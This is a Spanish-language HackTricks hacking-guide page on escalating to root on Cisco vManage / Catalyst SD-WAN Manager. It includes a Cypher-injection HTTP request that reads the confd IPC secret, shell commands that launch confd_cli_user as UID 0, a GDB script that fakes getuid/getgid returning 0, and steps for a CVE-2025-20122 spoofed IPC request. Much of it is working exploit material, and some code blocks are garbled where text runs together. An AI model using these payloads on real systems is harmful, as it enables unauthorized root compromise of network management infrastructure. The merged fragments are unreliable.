Cisco - vmanage
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Ruta 1
(Ejemplo de https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Tras indagar un poco en cierta documentation relacionada con confd y los diferentes binarios (accesibles con una cuenta en el sitio de Cisco), descubrimos que para autenticar el socket IPC, usa un secreto ubicado en /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
¿Recuerdas nuestra instancia Neo4j? Se está ejecutando con los privilegios del usuario vmanage, lo que nos permite recuperar el archivo usando la vulnerabilidad anterior:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
El programa confd_cli no soporta argumentos en la línea de comandos, pero llama a /usr/bin/confd_cli_user con argumentos. Por lo tanto, podríamos llamar directamente a /usr/bin/confd_cli_user con nuestro propio conjunto de argumentos. Sin embargo, no es legible con nuestros privilegios actuales, así que tenemos que recuperarlo del rootfs y copiarlo usando scp, leer la ayuda y usarlo para obtener la shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Ruta 2
(Example from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)
El blog¹ del equipo synacktiv describió una forma elegante de conseguir un root shell, pero la salvedad es que requiere obtener una copia de /usr/bin/confd_cli_user, que solo es legible por root. Encontré otra manera de escalar a root sin esa complicación.
Cuando desensamblé el binario /usr/bin/confd_cli, observé lo siguiente:
Objdump que muestra la recolección de UID/GID
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80Cuando ejecuto “ps aux”, observé lo siguiente (nota -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
Plantee la hipótesis de que el programa “confd_cli” pasa el ID de usuario y el ID de grupo que obtuvo del usuario conectado a la aplicación “cmdptywrapper”.
Mi primer intento fue ejecutar “cmdptywrapper” directamente y proporcionarle -g 0 -u 0, pero falló. Al parecer se creó un descriptor de archivo (-i 1015) en algún punto y no puedo falsificarlo.
Como se menciona en el blog de synacktiv (último ejemplo), el programa confd_cli no soporta argumentos de línea de comandos, pero puedo influenciarlo con un depurador y afortunadamente GDB está incluido en el sistema.
Creé un script de GDB donde obligué a la API getuid y getgid a devolver 0. Dado que ya tengo privilegio “vmanage” a través del deserialization RCE, tengo permiso para leer directamente /etc/confd/confd_ipc_secret.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Salida de la consola:
Salida de la consola
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterRuta 3 (bug de validación de entrada de la CLI de 2025)
Cisco renombró vManage a Catalyst SD-WAN Manager, pero la CLI subyacente todavía se ejecuta en la misma máquina. Un advisory de 2025 (CVE-2025-20122) describe una validación insuficiente de entrada en la CLI que permite que cualquier usuario local autenticado obtenga root al enviar una petición especialmente construida al servicio CLI del manager. Combina cualquier foothold de bajo privilegio (p. ej., la deserialización de Neo4j de Path1, o un shell de usuario de cron/backup) con este fallo para escalar a root sin copiar confd_cli_user ni adjuntar GDB:
- Usa tu shell de bajo privilegio para localizar el endpoint IPC de la CLI (típicamente el listener
cmdptywrappermostrado en el puerto 4565 en Path2). - Construye una petición de CLI que falsifique los campos UID/GID a 0. El bug de validación no aplica el UID del llamante original, por lo que el wrapper lanza un PTY respaldado por root.
- Envía cualquier secuencia de comandos (
vshell; id) a través de la petición falsificada para obtener un shell con root.
La superficie de explotación es local-only; remote code execution sigue siendo necesaria para conseguir la shell inicial, pero una vez dentro de la máquina la explotación es un único mensaje IPC en lugar de un parche de UID mediante debugger.
Otras vulnerabilidades recientes de vManage/Catalyst SD-WAN Manager para encadenar
- Authenticated UI XSS (CVE-2024-20475) – Inyecta JavaScript en campos específicos de la interfaz; robar una sesión de administrador te da un camino desde el navegador hasta
vshell→ shell local → Path3 para root.
Referencias
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


